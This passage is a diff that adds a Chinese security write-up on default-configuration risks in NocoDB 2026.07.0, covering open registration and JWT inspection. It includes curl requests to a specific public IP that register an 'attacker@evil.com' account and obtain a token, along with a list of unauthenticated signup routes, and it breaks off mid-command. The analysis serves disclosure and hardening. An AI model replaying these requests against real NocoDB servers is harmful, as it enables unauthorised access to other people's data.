0000000..a9d203c --- /dev/null +++ b/books/新瓶旧酒:从注册到管理员的 NocoDB 6 个安全风险.md @@ -0,0 +1,1223 @@ +# 新瓶旧酒:从注册到管理员的 NocoDB 6 个安全风险 +> 来源:https://xz.aliyun.com/news/92591 + +复现环境: Ubuntu 22.04,Docker 部署 NocoDB 2026.07.0(latest 镜像),默认配置,未做安全加固。公网 8080 端口开放。 + +前置条件: 目标服务器有外网可达的 8080 端口。如果你不确定自己的 NocoDB 有没有暴露,直接用 nocodb-audit.sh 扫一遍。 + +NocoDB 是什么?开源 Airtable 替代,GitHub 上 55k+ stars,2024 年后增长很快。技术栈 NestJS + Vue3,后端 sqlite/mysql/postgres 三选一。对有经验的渗透测试人员来说,看到 Node.js + NestJS + 文件上传这几个关键词就大概猜到问题在哪了。但我还是想把这个分析做完整——不是为了证明"能渗透",而是回答一个更实际的问题:一个非安全专业的小团队,用默认配置部署 NocoDB,会面临哪些风险? + +这篇文章所有攻击面都做了两件事:在服务器上跑命令验证,从 GitHub 拉源码找根因。源码定位到关键函数和行号,不靠猜。我不喜欢那种只贴"curl 命令返回了可疑内容"就完事的文章——知道"不安全"不难,知道"为什么不安全"才值钱。 + +我在验证时踩了一个坑——NocoDB 2026.07.0 的 Docker 镜像是 webpack 打包后的产物(docker/index.js),混淆严重没法 grep 路由。我第一次试图 grep 关键字 GlobalGuard,发现代码全是 \_0x5e99cd.fileReadv3 这种混淆名,完全读不了。通过日志定位到报错信息里的调用栈(at \_0x5e99cd.fileReadv3)才确认打包的是混淆后的产物。后来从 GitHub 拉原始 TypeScript 源码(packages/nocodb/src/,develop 分支)才能正常阅读。 + +下载 GitHub 源码也费了点事——完整仓库 120MB+,国内网络限速。试了 git clone --depth 1 超时,试了 ghproxy.com 速度不够,最后用 GitHub API 逐个目录拉取的。关键文件的路径是 packages/nocodb/src/ 下的 modules/auth/auth.controller.ts、controllers/attachments.controller.ts、providers/jwt-strategy.provider.ts 和 guards/global/global.guard.ts。 + +几个攻击面的发现顺序其实不是从文档里读出来的——我是顺着注册流程一步步往下摸的。先看到 signup 不需要认证,注册后发现能上传文件,上传后想下载看看需不需要 Token,发现三个下载路由全裸奔。JWT 密钥是最后翻数据库时意外找到的,因为我想搞清楚 Token 的 token\_version 存在哪,结果发现了 nc\_auth\_jwt\_secret。 + + +``` +$ curl -s http://139.199.68.168:8080/api/v1/version +{"currentVersion":"2026.07.0","releaseVersion":"2026.07.0"} +``` + +在开始之前先看一眼版本信息 + + +![](data:image/png;base64,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) + +——这是 NocoDB 2026 年 7 月的最新版本,也就是说所有发现都是针对"你能在 Docker Hub 上直接 docker pull 到的最新版"。 + +测试范围说明:本文基于 Docker 默认部署(SQLite 后端,nocodb/nocodb:latest),未配置任何环境变量或安全加固。如果使用 MySQL/PostgreSQL 后端或配置了环境变量,部分发现可能不适用。 + + +## 一、开放注册——零门槛入场 + + + +### 1.1 注册即拿Token + + +先试最简单的——直接注册: + + +``` +$ curl -s -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \ + -H "Content-Type: application/json" \ + -d '{"email":"attacker@evil.com","password":"Attack123!","first_name":"Evil","last_name":"Hacker"}' +``` + +响应直接返回 JWT,没有任何前置条件。没有邀请码,没有邮箱验证,没有 CAPTCHA。 + +{"token":"eyJhbG...G0TM"} + +我第一次跑这个命令的时候还愣了一下——真就这么直接。我预期至少会要求一个邀请码或者验证邮箱格式,结果 curl 完直接拿到了 JWT。这意味着任何人只要知道你的 NocoDB 地址,就能注册账号。 + +对比一下同类产品——Supabase 的匿名注册需要在配置里显式开启,Appwrite 默认关闭注册功能,Firebase 虽然也有匿名注册但可以通过规则限制。NocoDB 是默认全部放开,而且文档里没有明显的安全警告提示"如果你暴露在公网,请先关闭注册"。 + +NocoDB 还一口气提供了 4 个路径别名,全部指向同一个 signup 方法: + + +| 路径 | 示例 | +| --- | --- | +| /auth/user/signup | 短路径 | +| /api/v1/auth/user/signup | 标准 v1 | +| /api/v2/auth/user/signup | 标准 v2 | +| /api/v1/db/auth/user/signup | 旧版 db 路径 | + + +四个路径都指向同一个 signup 方法,全部不设防。 + + +### 1.2 JWT 解码看权限 + + +Token 拿到了,decode 出来看看里面有什么字段: + + +``` +$ export 